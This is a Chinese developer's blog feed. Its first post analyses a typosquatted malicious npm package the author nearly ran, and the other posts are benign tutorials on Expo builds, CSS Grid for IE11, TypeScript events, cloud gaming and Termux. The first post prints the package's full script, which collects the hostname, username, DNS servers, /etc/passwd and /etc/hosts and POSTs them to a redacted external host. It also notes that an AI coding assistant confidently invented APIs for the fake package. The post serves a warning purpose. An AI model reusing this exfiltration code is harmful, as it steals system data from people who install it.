普通视图

发现新文章,点击刷新页面。
昨天以前吐槽大王部落格

我是怎么差点被恶意 npm 包攻击的

作者 tcdw
2025年4月24日 15:15

其实我很久以前就听说过有骇客通过在 npm、PyPI 等平台注册名字和知名库碰瓷的恶意包,实现入侵公司内部系统等恶意操作的事情。一直以来我以为这种事情离我很远,因为我在使用一个库以前总会去看官方文档,并且在进行依赖安装时复制文档里提到的包名。

事实证明,我的实践确实是好的,至少在 LLM 大幅普及以前。直到不久前,我试图使用 Atlassian 家出品的 @atlaskit/pragmatic-drag-and-drop 库来在 React 应用里实现列表拖动排序功能。然后,我险些在这件事上翻车了。于是我便发了一篇推文:

傻了,自认为安全意识很好的我也差点被恶意 npm 包攻击了。还好 pnpm 10 默认没有运行这个恶意包的 build scripts,而且 rsbuild 也跑不动这个脚本,我才免遭一劫。
已经举报这个包了。 pic.twitter.com/dyk15BbZMq

— 陶瓷大碗 (@tcdwww) April 21, 2025

本来只是随手吐槽,没想到那条推文火了,热度远超我的预期;因为我一开始没有在推文里提及完整的过程,导致出现了很多猜测和质疑:

  • 「这个包名是不是 LLM 幻觉了一个出来的?」
  • 「这个包才发布没几天,还是个三无号发布的,能装上这种包的人也是个人才。」
  • 「这个包会读取 /etc/passwd,是不是能偷我的密码?」
  • ……

既然如此,因为单独回复每一条评论或群组里的每一条消息的话,别人不一定能看得见,我觉得有必要详细解释一下其中的几个细节,给大家一个完整的复盘。

为什么我会装上这个包?

首先,那个包的包名其实不是 LLM 编的,是我自己想当然的名字。因为这个项目的 GitHub 地址是 https://github.com/atlassian/pragmatic-drag-and-drop ,而且这个项目的名字如此冗长,我便想当然的认为,这个包应该就叫 pragmatic-drag-and-drop。顺带一提,这个包其实我之前听说过,但是不太熟悉,也没有亲自用过。

我平时用的编辑器有 Webstorm 和 Windsurf。因为我恰好偷懒没有写项目级别的 .windsurfrules 文件,导致 AI 有时候会用 npm 装依赖(其实这个项目用 pnpm),加上 AI 思考要不要装包的这一步就要花费一些时间,所以想着干脆提前把包装好,叫 AI 直接用这个包写代码比较方便。

我一开始以为 Atlassian 这种大厂出品的库,包名应该不会有什么奇怪的「埋雷」操作。结果我就这么稀里糊涂装上了一个碰瓷的恶意包。

其实 pnpm 10 已经提醒我,这个包有没有被允许的 Lifecycle Scripts,但我的习惯是只在必要时才单独开启个别包的 Lifecycle Scripts 执行权限。毕竟除去 esbuild 之类要设置二进制的包,很多 npm 包的 postinstall 脚本只是打印点东西,不开也没啥影响。

AI 也会踩雷

接下来我让 LLM 用这个包写一个可拖拽的列表。它完全没意识到包有问题,反而一本正经地写了一堆 API,还写了调用这个「库」的代码。

我看 tsc 没报错,就直接 pnpm run dev,结果 rsbuild 报错说有些 node 模块无法处理。

我一脸问号,去看报错部分,直接懵了:WTF?

Rsbuild 构建不了恶意包

就这样,我差点就酿成惨剧。

事后复盘:还好有惊无险

那么,这个恶意包究竟有多恶意呢?下面是这个包中唯一的 js 文件内容:

const os = require("os");
const dns = require("dns");
const fs = require("fs");
const https = require("https");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;

// Collect system data from the remote server where the package is installed
const trackingData = JSON.stringify({
    p: packageName,  // Package name
    c: __dirname,    // Directory where the package is installed
    hd: os.homedir(),  // Home directory on the remote server
    hn: os.hostname(),  // Hostname of the remote server
    un: os.userInfo().username,  // Username on the remote server
    dns: dns.getServers(),  // DNS servers on the remote server
    v: packageJSON.version,  // Version of the package
    pjson: packageJSON,  // Full package.json data
    etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null,  // /etc/passwd from the remote system
    etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null  // /etc/hosts from the remote system
});

// Log the data to verify it's the remote server's information
console.log("Sending System Data from Remote Server: ", trackingData);

// Prepare the POST request data
var postData = JSON.stringify({
    msg: trackingData,
});

// Request options to send data to your server (Burp Collaborator or any endpoint)
var options = {
    hostname: "<REDACTED>",  // Burp Collaborator server
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Content-Length": postData.length,
    },
};

// Send the data via HTTPS POST request
var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);  // Output the response from the server
    });
});

req.on("error", (e) => {
    console.error("Error sending data:", e);  // Handle any error during the request
});

req.write(postData);  // Send the data in the request body
req.end();  // End the request

冷静下来复盘,发现即便这个脚本真的执行了,对我的影响其实有限:

  • 我用的是 macOS,因为 macOS 的用户信息是用 Open Directory 管理的,/etc/passwd 里的内容毫无价值。
    • 不过就算是 Linux 系统,用户的密码其实存储在 /etc/shadow 里,不仅只有 root 用户才能访问,而且还是经过 hash 的。
  • /etc/hosts 我也没用,没有有价值的信息。
  • 这个脚本还会上传我用的 DNS 服务器(然而是阿里云的公共 DNS)、包名、package.json 等等。
  • 当然,它也能知道我的 IP 地址(我开了 Surge 增强模式,应该拿到的是我机场落地的 IP)。
  • 顺带一提,这个包完全没考虑 Windows。

所以我感觉,这个恶意包其实更希望在 CI 服务器上发挥作用,可能能刺探一些公司内网的信息。以我浅薄的知识,也不太明白还有什么更深的危害。

顺带一提,这个脚本会把收集到的这些信息上传到一个域名后缀是 oastify.com 的地址。所以我估计是有真・白帽黑客在搞研究,也有可能是恶意人士利用这个平台收集数据

我学到了什么

这次事件的本质问题有哪些呢?

首先,我一开始犯了蠢,包名没查清楚。然后 LLM 也没意识到问题,还一本正经「幻觉」出一堆 API;还好 pnpm 10 和 Rsbuild 最终把我拦住了。

结论就是,人和 AI 都不能掉以轻心。这次我学到的最大教训是:以后让 AI 用某个库帮我写代码前,一定要考虑三要素:

  • 这个库是否真的能满足我的需求?
  • 这个库还在积极维护吗,或者是否已处于稳定状态?
  • 我到底该装哪个 npm 包?

希望我的这次经历能给大家提个醒:无论是人还是 AI,面对陌生依赖都要多留个心眼,别让小疏忽变成大事故。

我开了一个奇怪的在线小工具网站

作者 tcdw
2025年4月13日 20:38

在日常生活中,我经常会遇到一些奇怪的 IT 需求,比如从视频里无损提取音频、生成指定长度和格式的空白音频、批量转换文件,或者完成一些琐碎但繁琐的任务。然而,这些需求往往很冷门,网上找不到现成的工具来解决。为了应对这些问题,我常常自己动手写一些小脚本来处理,还经常会绞尽脑汁的去调用 FFmpeg 这样堪称「瑞士军刀」但是操作复杂的命令行工具。

随着时间的推移,我逐渐积累了不少这样的脚本。每次用完后,我都会想:如果能让这些小工具变得更易用,分享给其他有类似需求的人,是不是能帮助更多人呢?于是,我萌生了一个想法——把这些小脚本整理成一个在线工具站。

在选择技术框架时,我起初考虑的是 Next.js 和 Nuxt 这些大众化的元框架。它们的优势显而易见:开箱支持 TypeScript 和 Tailwind CSS 等现代技术栈,开发体验非常友好。然而,它们也有着自己的局限性——使用这些框架意味着项目会与 React(Next.js)或 Vue(Nuxt)强绑定。而对于一些操作简单的小工具来说,完全不需要使用 React 或 Vue 来编写界面,也没有必要加载庞大的 JavaScript 文件,这样反而会增加页面的体积和复杂度。

正因如此,我最终选择了 Astro。Astro 的特点是可以生成体积小的静态 HTML 网站,非常适合内容不常变化的工具站。此外,它还支持在同一个项目中集成多种前端框架,比如 React 和 Vue,这让我可以根据需求灵活选择技术栈,同时轻松整合已有的工具和组件。

在确定技术框架后,我开始思考网站的名字。一开始,我绞尽脑汁考虑了很多名称,但是它们不是早已被抢注了,就是很难让人意识到这个网站提供在线小工具,或者是很难让人产生深刻的印象。这时,蚊子群里的 boboliu 跟我提到了 .run 这个 gTLD 后缀。然后我便想到了 tool 的谐音 tu,以及气喘吁吁的呆萌的声音。就这样,我想到了一个简短而有趣的名字——「tuu」,并注册了域名 tuu.run。

经过一段时间的开发,网站终于顺利上线了!虽然目前它还比较简陋,只有少量工具,但我计划未来逐步添加更多独特的小工具,专注于解决那些冷门但实际存在的 IT 需求。

如果你感兴趣,可以访问咱的新网站:https://tuu.run 。欢迎提出建议或分享奇怪的脑洞!

我对 Vue Router「动态路由」的一点暴论

作者 tcdw
2025年4月13日 20:38

本文是对我之前在 X (Twitter) 平台发表的 推文 的整合。

每当我接触到一些既有的使用 Vue 开发的业务系统时,总是能看到一种被称为「动态路由」的实现方式。

如果你只知道 React Router 或 Next.js 的「动态路由」,嗯,首先我们说的不是一个东西。Vue Router 这边的「动态路由」指的是:服务端存储一份完整的 Vue Router 所需数据结构,前端在初次加载页面时必须先从服务端获取这个结构,然后遍历结构并执行 router.addRoute() 才能继续工作。根据用户角色不同,返回的路由列表也会有所差异。

对于这种实现方式,我一直难以理解将完整路由数据结构放在服务端维护的必要性,尤其是对于那些操作 JSON 不太方便的后端编程语言来说(说的就是你,Java)。当我向早期参与这些项目开发的人询问原因时,他们往往只能给出这两点理由:

  • 需要根据用户角色展示其可访问的页面
  • 可以根据领导要求临时开关某些功能

然而,我觉得第一点理由似乎站不住脚。前端完全可以通过简单地获取用户角色权限字符串来实现相同功能(甚至他们使用的框架,比如若依,就已经内置了这种功能)。同时,这种方式也无法真正阻止「高级用户」了解系统中所有页面的存在,因为这些业务页面通常需要视情况使用 await import()、Vite 的 import.meta.glob、Webpack (Vue CLI) 的 require.context 或其它打包器的类似 API 进行批量导入,查看源代码进行简单查找就能发现所有页面和它们的文件名。

至于第二点关于能够随时关闭某个功能(页面)的需求,也找不到必须由后端传输整个路由表数据结构的合理理由。在我们从零开发的一套业务系统中,采用的方案是:后端维护一个简化的树形结构,仅记录每个路由的技术名称、所需权限和启用状态,而前端则在第一次加载页面时获取该结构,将其转换为 Map,之后由路由守卫来检查 Map 中的项目,判断页面是否可以访问。

以我浅薄的经历来看,「动态路由」真的是一种毫无优点、但是缺点却一大堆的方案。这种做法往往会导致各种混乱的代码出现,成为开发维护的噩梦(前司一些前端调试「动态路由」就要浪费两天时间)。当然,这些问题或许还有一些技术方面外的考量吧,这里我还是不要过多评价了。

不用 eas-cli 编译 React Native (Expo) 应用的 Android 版本

作者 tcdw
2025年4月13日 20:39

为什么不用 eas-cli

  • 它需要你注册 Expo 帐号,并且建立一个新的 Project 在上面
  • 它每次运行都要连接 Expo 的云服务
  • 它不让你在 Windows 上跑。气抖冷!!

(当然如果以上方面对你不是问题的话,eas 其实挺适合懒人在自己的电脑/基础设施上跑的,特别是你不在内地的电脑上进行开发时)

需求

  • 配好 JDK 和 Android SDK,并且指定好它们的 PATHJAVA_HOMEANDROID_HOME详见
  • 项目启用 Prebuild

配置 Keystore

为了让编译出来的应用使用我们自己的 Keystore,我们需要修改 android/app/build.gradle 文件,在 signingConfigs 加入自己的 Keystore 信息,并且在 buildTypesrelease 中设置 signingConfig signingConfigs.release

由于我们的项目使用 Expo Managed Workflow,为了确保 Native 部分不会出现不同步的问题,这里通过编写项目级插件的方式实现修改:

// plugins/withAndroidSignature.js

const { withAppBuildGradle } = require("@expo/config-plugins");
const fs = require("fs");
const path = require("path");

module.exports = function withAndroidSignature(config) {
    return withAppBuildGradle(config, config => {
        if (config.modResults.language === "groovy") {
            config.modResults.contents = setAndroidSignature(config.modResults.contents);
        } else {
            throw new Error("如果不是 groovy,则无法在 app/build.gradle 中设置 signingConfigs");
        }
        return config;
    });
};

function setAndroidSignature(appBuildGradle) {
    if (!fs.existsSync(path.resolve(__dirname, "../credentials.json"))) {
        console.warn("警告:没有设置正式版本的 Android Keystore 文件,因为 credentials.json 不存在。");
        return appBuildGradle;
    }
    const info = JSON.parse(fs.readFileSync(path.resolve(__dirname, "../credentials.json"), { encoding: "utf8" }));

    // 使用正则表达式插入签名信息
    let output = appBuildGradle.replace(
        /(signingConfigs\s*\{)/,
        `$1
        release {
            storeFile file(${JSON.stringify(path.resolve(__dirname, "../credentials/android-release.keystore"))})
            storePassword ${JSON.stringify(info.android.keystore.keystorePassword)}
            keyAlias ${JSON.stringify(info.android.keystore.keyAlias)}
            keyPassword ${JSON.stringify(info.android.keystore.keyPassword)}
        }`,
    );

    // 使用正则表达式替换 signingConfig
    output = output.replace(
        /(release\s*\{)[^}]*?signingConfig\s+signingConfigs\.debug/s,
        `$1
            signingConfig signingConfigs.release
`,
    );

    return output;
}

为了方便维护,我们将 Keystore 的本体放在项目根目录下 credentials/android-release.keystore ,而 Keystore 的信息放在 credentials.json 里。

(这里的 credentials.json 文件格式与 Expo 文档中的 Use local credentials 一致)

{  
  "android": {  
    "keystore": {  
      "keystorePath": "credentials/android-release.keystore",  
      "keystorePassword": "your keystore password",  
      "keyAlias": "your key alias",  
      "keyPassword": "your key password"  
    }  
  },  
  "ios": {  
    "provisioningProfilePath": "ios/certs/profile.mobileprovision",  
    "distributionCertificate": {  
      "path": "ios/certs/dist-cert.p12",  
      "password": "password"  
    }  
  }  
}

然后,在 app.json 中指定这个项目级插件:

{  
  "expo": {  
    "plugins": [  
      "./plugins/withAndroidSignature"
    ]
  }  
}

编译

首先,我们需要执行一次 npx expo prebuild,让它生成 android 文件夹。这个文件夹包含了我们项目的 Native 部分。

打包给 Google Play 商店用的 .aab 文件:

cd android
./gradlew bundleRelease

你的编译产物会出现在项目根目录下 android/app/build/outputs/bundle/release/app-release.aab

而如果是给别人直接安装的 .apk 文件:

cd android
./gradlew assembleRelease

你的编译产物会出现在项目根目录下 android/app/build/outputs/apk/release/app-release.apk

如果在 Windows 下编译,需要把 ./gradlew 改成 ./gradlew.bat

还有一些东西……

为了简化上述的操作,我推荐在 package.json 中设置好相应的脚本。

{
  "scripts": {
    "prepare": "pnpm run clean && expo prebuild",
    "build:android": "cd android && ./gradlew assembleRelease",
    "clean": "node -e \"const opt = { recursive: true, force: true }; fs.rmSync('./ios', opt); fs.rmSync('./android', opt)\""
  }
}

另外,不要忘了把这些东西加到你的 .gitignore 里:

/credentials/*.keystore
/credentials.json
  
/ios
/android

这篇博文受到了上面那个「eas-cli 不能在 Windows 跑」的 Issue 中 这篇回复 的启发,我对于其中的操作流程进行了一些改进,让它更适合 Expo Managed Workflow。

【更正版】简单实现类型安全的、能触发 CustomEvent 的 EventTarget

作者 tcdw
2024年4月27日 19:35

我想写一个 TypeScript 类,这个类提供一系列的事件可供监听。为了实现类型安全,改进开发体验,我自己研究了一下,实现了一个可以以泛型输入所有可能的事件类型的 TypedEventTarget 类。

经过 JackWorks 的指正,代码改成了这样。

typed-event-target.d.ts 文件内容:

export class TypedEventTarget<T> extends EventTarget {
    // 这个类型体操是我从 `lib.dom.d.ts` 抄的我会乱说(
    addEventListener<K extends keyof T>(
        type: K,
        listener: (this: TypedEventTarget<T>, ev: TypedCustomEvent<K, T[K]>) => any,
        options?: boolean | AddEventListenerOptions,
    ): void;
    addEventListener(
        type: string,
        listener: EventListenerOrEventListenerObject,
        options?: boolean | AddEventListenerOptions,
    ): void;
    removeEventListener<K extends keyof T>(
        type: K,
        listener: (this: TypedEventTarget<T>, ev: TypedCustomEvent<K, T[K]>) => any,
        options?: boolean | EventListenerOptions,
    ): void;
    removeEventListener(
        type: string,
        listener: EventListenerOrEventListenerObject,
        options?: boolean | EventListenerOptions,
    ): void;
    dispatchEvent<K extends keyof T>(event: TypedCustomEvent<K, T[K]>): void;
}

export class TypedCustomEvent<S, T> extends CustomEvent<T> {
    constructor(type: S, eventInitDict?: CustomEventInit<T> | undefined);
}

typed-event-target.js 文件内容:

// 这里我们小小的欺骗了一下 tsc。
// 在运行时下,这个 EventTarget 其实就是原来的 EventTarget,
// 而非从 EventTarget 继承出来的类。这样可以避免非必要的性能开销。
export const TypedEventTarget = EventTarget;
export const TypedCustomEvent = CustomEvent;

将这两个文件同时放在一个合适的目录下,就搞定了!

使用方法

我们想要写一个 Person 类,这个类有 nameChangeageChange 这两个自定义事件。那么,我们可以这么写:

import { TypedEventTarget, TypedCustomEvent } from "@/utils/typed-event-target"; // 请根据项目实际情况修改路径

// 创建 Person 类的事件表
export interface PersonEventMap {
    nameChange: string;
    ageChange: number;
}

export default class Person extends TypedEventTarget<PersonEventMap> {
    name: string;
    age: number;

    constructor(name: string, age: number) {
        super();
        this.name = name;
        this.age = age;
    }

    setName(name: string) {
        this.name = name;
        // 在使用 dispatchEvent 时,如果类型不正确,会出现错误
        this.dispatchEvent<"nameChange">(
            new CustomEvent("nameChange", {
                detail: name,
            }),
        );
    }

    setAge(age: number) {
        this.age = age;
        this.dispatchEvent<"ageChange">(
            new CustomEvent("ageChange", {
                detail: age,
            }),
        );
    }
}

调用这个类时,我们绑定事件也会有正确的补全提示和类型检查。

本博文的上一个版本

我想写一个 TypeScript 类,这个类提供一系列的事件可供监听。为了实现类型安全,改进开发体验,我自己研究了一下,实现了一个可以以泛型输入所有可能的事件类型的 TypedEventTarget 类。

废话不多说,直接上代码。

typed-event-target.d.ts 文件内容:

export default class TypedEventTarget<T> extends EventTarget {
    // 这个类型体操是我从 `lib.dom.d.ts` 抄的我会乱说(
    addEventListener<K extends keyof T>(
        type: K,
        listener: (this: TypedEventTarget, ev: T[K]) => any,
        options?: boolean | AddEventListenerOptions,
    ): void;
    addEventListener(
        type: string,
        listener: EventListenerOrEventListenerObject,
        options?: boolean | AddEventListenerOptions,
    ): void;
    removeEventListener<K extends keyof T>(
        type: K,
        listener: (this: TypedEventTarget, ev: T[K]) => any,
        options?: boolean | EventListenerOptions,
    ): void;
    removeEventListener(
        type: string,
        listener: EventListenerOrEventListenerObject,
        options?: boolean | EventListenerOptions,
    ): void;
    dispatchEvent<K extends keyof T>(event: T[K]): void;
}

typed-event-target.js 文件内容:

// 这里我们小小的欺骗了一下 tsc。
// 在运行时下,这个 EventTarget 其实就是原来的 EventTarget,
// 而非从 EventTarget 继承出来的类。这样可以避免非必要的性能开销。
export default EventTarget;

将这两个文件同时放在一个合适的目录下,就搞定了!

使用方法

我们想要写一个 Person 类,这个类有 nameChangeageChange 这两个自定义事件。那么,我们可以这么写:

import TypedEventTarget from "@/utils/typed-event-target"; // 请根据项目实际情况修改路径

// 创建 Person 类的事件表
export interface PersonEventMap {
    nameChange: CustomEvent<string>;
    ageChange: CustomEvent<number>;
}

export default class Person extends TypedEventTarget<PersonEventMap> {
    name: string;
    age: number;
    
    constructor(name: string, age: number) {
        super();
        this.name = name;
        this.age = age;
    }
    
    setName(name: string) {
        this.name = name;
        // 在使用 dispatchEvent 时,如果类型不正确,会出现错误
        this.dispatchEvent<"nameChange">(
            new CustomEvent("nameChange", {
                detail: name,
            }),
        );
    }
        
    setAge(age: number) {
        this.age = age;
        this.dispatchEvent<"ageChange">(
            new CustomEvent("ageChange", {
                detail: age,
            }),
        );
    }
}

调用这个类时,我们绑定事件也会有正确的补全提示和类型检查:

类型提示
在调用 addEventListener 事件时,会提供准确的名称提示。
类型提示
调用事件的详情内容时,推导出来的类型也是准确的。

在 IE11 使用 CSS Grid 实现多列卡片列表布局

作者 tcdw
2024年3月3日 19:59

我们维护的某网站需要多列布局的、分页的、内容高度不固定的卡片列表,效果如下:

网格
网格布局的效果。它们的内容高度均不一致,但是在网格中必须做到视觉高度一致。卡片本身的代码是从 Adam Wathan 的传教博文 抄的,感激不尽(

实现这种网格列表,其实使用 CSS Grid 是最为科学的方案,因为它灵活、好用、易于理解,同时对于这种内容不定高的多列卡片列表非常友好:

.grid-list {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 20px;
}

但是有一个棘手的问题是:这个网站的浏览器兼容性要求是 Chrome 60+ 和 IE11。没错,都 2022 年了,还有苦逼开发者(比如我)还需要想办法让网站能在 IE11 正常工作。

不过幸运的是,通过对 CSS Grid 兼容性 的查询,我们可以得知:

  • IE10+ 支持旧版的规范,且需要添加 -ms- 的前缀
  • Chrome 57+ 开箱支持

根据前辈的指引,我意识到在 IE11 中用 CSS Grid 实现这种网格列表是完全没问题的,只是需要一些技巧。

我们的项目使用到了 SCSS、PostCSS 和 Autoprefixer,所以,首先在 postcss.config.js 中声明使用针对 IE11 的 CSS Grid 转译:

module.exports = {  
    plugins: {  
        autoprefixer: {  
            grid: "autoplace"
        }  
    }  
};

然后,把这个 mixin 丢进项目中:

@mixin gridList($maxRow, $column, $rowSize: auto, $columnSize: 1fr, $gapX: 0, $gapY: 0) {
    @for $i from 1 through $maxRow {
        &--grid-#{$i} {
            display: grid;
            grid-template-columns: repeat(#{$column}, #{$columnSize});
            grid-template-rows: repeat(#{$i}, #{$rowSize});
            gap: $gapY $gapX;
        }
    }
}

然后在需要的地方使用这个 mixin(假设我们的网格列表一页最多有 9 项,每列有 3 项,即最多会有 3 行):

.grid-list {
    padding: 30px;
    @include gridList(3, 3, $gapX: 30px, $gapY: 30px)
}

嗯,那么这个 mixin 是干什么的呢?

我们前面提到了 IE11 支持旧版的 CSS Grid 规范,而在该版本的规范中,必须显式声明你会用到的行数和列数;而且它并不支持 gap 属性。

那么,对于需要显式声明行数和列数的问题,我们可以换一个思路:借助 SCSS 函数的力量,把所有可能的卡片列数的 CSS 都生成出来;然后在 HTML 部分,由模板渲染器告诉页面一共有多少行。

以下是 mixin 生成的代码:

.demo-list {
  padding: 30px;
}

.demo-list--grid-1 {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: repeat(1, auto);
  gap: 30px 30px;
}

.demo-list--grid-2 {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: repeat(2, auto);
  gap: 30px 30px;
}

.demo-list--grid-3 {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-template-rows: repeat(3, auto);
  gap: 30px 30px;
}

这样,我们就得到了行数有一行、两行和三行时所对应的 CSS 类。我们只要在生成模板时,使用对应的 CSS 类即可:

<!-- 以下伪代码仅供参考,实际使用时请替换为你使用的模板引擎/界面库的语法 -->
<ul class="demo-list demo-list--grid-{{ Math.ceil(Page.PageList.length / 3) }}">
	{%- for PageItem in Page.PageList -%}  
		<li class="demo-card">
			<!-- 略 -->
		</li>
    {%- endfor -%}
</ul>

IE 使用的旧版规范属性是以 -ms- 开头的,同时我们还需要通过空白的网格来模拟 gap 属性。不过,Autoprefixer 可以帮我们进行转译:

.demo-list {
  padding: 30px;
}

.demo-list--grid-1 {
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr 30px 1fr 30px 1fr;
  grid-template-columns: repeat(3, 1fr);
  -ms-grid-rows: auto;
  grid-template-rows: repeat(1, auto);
  gap: 30px 30px;
}

.demo-list--grid-1 > *:nth-child(1) {
  -ms-grid-row: 1;
  -ms-grid-column: 1;
}

.demo-list--grid-1 > *:nth-child(2) {
  -ms-grid-row: 1;
  -ms-grid-column: 3;
}

.demo-list--grid-1 > *:nth-child(3) {
  -ms-grid-row: 1;
  -ms-grid-column: 5;
}

.demo-list--grid-2 {
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr 30px 1fr 30px 1fr;
  grid-template-columns: repeat(3, 1fr);
  -ms-grid-rows: auto 30px auto;
  grid-template-rows: repeat(2, auto);
  gap: 30px 30px;
}

.demo-list--grid-2 > *:nth-child(1) {
  -ms-grid-row: 1;
  -ms-grid-column: 1;
}

.demo-list--grid-2 > *:nth-child(2) {
  -ms-grid-row: 1;
  -ms-grid-column: 3;
}

.demo-list--grid-2 > *:nth-child(3) {
  -ms-grid-row: 1;
  -ms-grid-column: 5;
}

.demo-list--grid-2 > *:nth-child(4) {
  -ms-grid-row: 3;
  -ms-grid-column: 1;
}

.demo-list--grid-2 > *:nth-child(5) {
  -ms-grid-row: 3;
  -ms-grid-column: 3;
}

.demo-list--grid-2 > *:nth-child(6) {
  -ms-grid-row: 3;
  -ms-grid-column: 5;
}

/* 后略... you get the idea */ 

结论

经过一系列的努力,我们终于拥有了在 IE11 正确显示的多列卡片列表。好耶!

尽管业界正积极淘汰 IE11,但现实情况是,还有一些商业应用仍然有着对 IE11 的兼容需求。确实,兼容老旧浏览器是一个让人头疼的问题,然而通过变换思路,我们可以找到一些取巧的解决方案。

当然更好的方法是,提桶跑路,去给历史包袱不重的项目填坑(逃

后记

这篇博文本来是一篇在 2022 年私下写的笔记,因为一开始只是写给我自己看的,加上我想应该需要支持 IE11 的项目越来越少,一直没有发布。

但是现实总是骨感的,就连不久前发布了 4.0.0 BETA 的 jQuery 团队 都说要继续支持 IE11,直到 jQuery 5 再放弃支持。所以这篇博文大概还是能发挥余热吧。

自建云游戏服务的尝试(2024 更新)

作者 tcdw
2024年2月21日 23:46

为什么?

我最近经常玩《原神》,但是我:

  • 只有一台能带动这游戏的远程工作站,我还很难物理访问它
  • 平时在外面只能使用弱鸡的旧款 MacBook Pro
  • 用 iPhone 12 Pro 玩,感觉体验堪忧

显然,再为这么一款游戏而专门购买游戏本是不划算的,而且游戏本有着笨重、噪音大、外观普遍中二感爆棚、电池续航几乎不存在等缺点。

考虑到近年来 StadiaGeForce Now 等云游戏服务在国外的兴起,我有了新的主意:拿自己的远程工作站搭建云游戏服务。

本博文不是真正意义上的教程,但是记录了我对若干方案的尝试和使用体验。

环境

  • 服务端(工作站)和客户端都在重重 NAT 之下。现在不是问题了,家里和移动网络都有公网 IPv6,可以点对点直连。同样我也不再推荐直接 ECS 当跳板、承载游戏流量的方案了,因为流量费是真的奢侈啊 TAT
  • 有一台阿里云 ECS 做跳板机,安装有:
    • Wireguard(用于和不同的远程设备连接)
    • nginx(通过 stream 模块向公网转发端口)

RDP

在此之前,我经常会使用 RDP 来连接我的远程工作站。启动 RDP 服务不需要复杂的服务端设置,在网关机上也只要简单转发一个端口到公网即可。

其实 RDP 对于一般的应用程序是没有问题的,但是完全不适合打游戏:

Moonlight + Sunshine

我的工作站配备有 GTX 1650 Super,因此可以借助 GeForce Experience 的游戏串流(Streaming)功能和 Moonlight 客户端,轻松搭建自己的云游戏服务。

总体来说,在有合适的网络条件下,Moonlight 可以提供足够好的游戏体验。但是使用官方的 GeForce Experience 时,会有一些蛋疼的问题:

  • 配对时必须在远程主机上输入四位数字确认
  • 一旦连接过 RDP(因为我平时还要工作!),串流服务就会停止工作
    • 所以,上述的配对过程也不能在 RDP 进行,必须使用其它的远程桌面服务(如 Teamviewer);
      同时,每次连接过 RDP,都需要用 Teamviewer 再连接一次。

不过幸运的是,现在有 Sunshine 了。Sunshine 是一个兼容 Moonlight 的游戏串流服务端,支持带有视频硬件编码功能的 AMD、Intel 和 Nvidia 显卡,而且完美解决了上述的配对麻烦(用 Web GUI 就可以配对)、RDP 导致服务端罢工的问题。

对了,如果你在 Xiaomi HyperOS 设备上使用 Moonlight for Android,需要呼出虚拟键盘,得同时用三指按动屏幕,而且每根手指距离要有大约 2cm 以上。别问我是怎么知道的(躺

Parsec

Parsec 是一款与 Moonlight 类似的应用,但是对非技术导向的用户更加友好,而且解决了 Moonlight + Sunshine 的一些痛点:

  • 验证是基于他们自家帐号系统的(比在远程主机确认配对方便多了!)
  • 连完 RDP 以后可以直接连接
  • 灵活的连接方式,可以自动视情况通过局域网、NAT 打洞、Wireguard 等方式连接到服务端
  • 支持 AMD 和 Intel 显卡(虽然我现在用的是 Nvidia 显卡)

不过,Parsec 也有一些缺点:

  • 你只能使用 Parsec 他们家的帐号系统,而且他们的客户端比较黑箱。我不是很在乎就是了……
  • 视频质量并不算很好,就算你在 GUI 把码率开到最大也无济于事。不过,蚊子写过一篇博文,提到手动在配置文件中加上 encoder_min_bitrate = 50 就可以改善
  • Android 客户端不算那么好用,而且不支持手柄振动,也不支持将触摸屏当作笔记本触摸板使用。

让 GPU 一直工作

我在淘宝上随便买了个 HDMI 锁屏宝,解决了这个问题。但是不要买的太随便,因为如果锁屏宝模拟的显示器分辨率和刷新率不够高,那么想要更好的串流分辨率和帧率是没门的。

不过,也可以试试蚊子提到的 虚拟显示器

对比

总之,不同的连接方案有着它们的优缺点,所以还得视场合选择使用哪种方式连接到我的工作站。

服务/特性 RDP Moonlight + Sunshine Parsec
支持显卡 N/A 各种 各种
配置难度 中等
首次连接 输入本机登录信息 在服务端完成配对操作 输入 Parsec 登录信息
流量消耗 较高 中等
图形渲染位置 客户端 服务端 服务端
针对游戏优化
使用 RDP 后再连接 N/A 可直接连接 可直接连接
自动打洞
剪贴板共享 有(仅限文本)
开源软件 客户端/服务端均开源

自建云游戏服务的优越性

就是可以玩各种自己喜欢的游戏啦,而不只局限于云游戏厂商提供的可玩游戏。

不过,如果你没有长期使用 Windows 远程桌面的需求,而且只想玩一些大众游戏,那么类似于 网易云游戏平台腾讯云游戏 等服务都是可以考虑的。

Update: 如果你是原神国服玩家,还可以考虑一下官方的云・原神

流量费

别人花 648 抽优菈,我花 648 让游戏跑起来(笑

不过现在四大运营商都推出了便宜到爆炸、而且每月流量至少有 100G 的 5G 流量卡(不是物联网卡),同时通过与家里进行点对点连接,现在出门在外都可以省掉不少流量费了。

然后我靠着免费的原石抽到了她(

优菈

在 Termux 编译和使用 bwm-ng(需要 root)

作者 tcdw
2023年5月6日 01:26

bwm-ng 是一个很方便的命令行工具,可以实时监控操作系统的网速和磁盘读写速度。

我想在 Termux 使用它,但是目前 Termux 的软件源还没有,所以就只能自己编译安装了。

步骤

首先,准备好安装了 Termux,且已经 root 的 Android 手机。

然后,我们需要给 Termux 安装 root-repo,再安装 sudo

pkg install root-repo
pkg install sudo

安装 Git 和构建工具集:

pkg install git build-essential

接下来,就可以进行编译安装了,但是跟一般的编译安装有点区别:

git clone https://github.com/vgropp/bwm-ng
cd bwm-ng
sudo ./autogen.sh
sudo make

在这里,./autogen.shmake 命令的前面都增加了 sudo,这是为了让编译脚本能够正确识别到 /proc/ 下的特殊文件(在 Android 下,该目录只能由 root 用户访问)。如果不使用 sudo,会看到这样的报错:

checking for /proc/net/dev... no
checking for /proc/diskstats... no
checking for /proc/partitions... no
checking for sys/dkstat.h... no
checking whether cc and linker accepts -framework IOKit -framework CoreFoundation... no
checking for sg_get_network_io_stats,sg_get_disk_io_stats in -lstatgrab... no
configure: error: "NO INPUT FOUND"

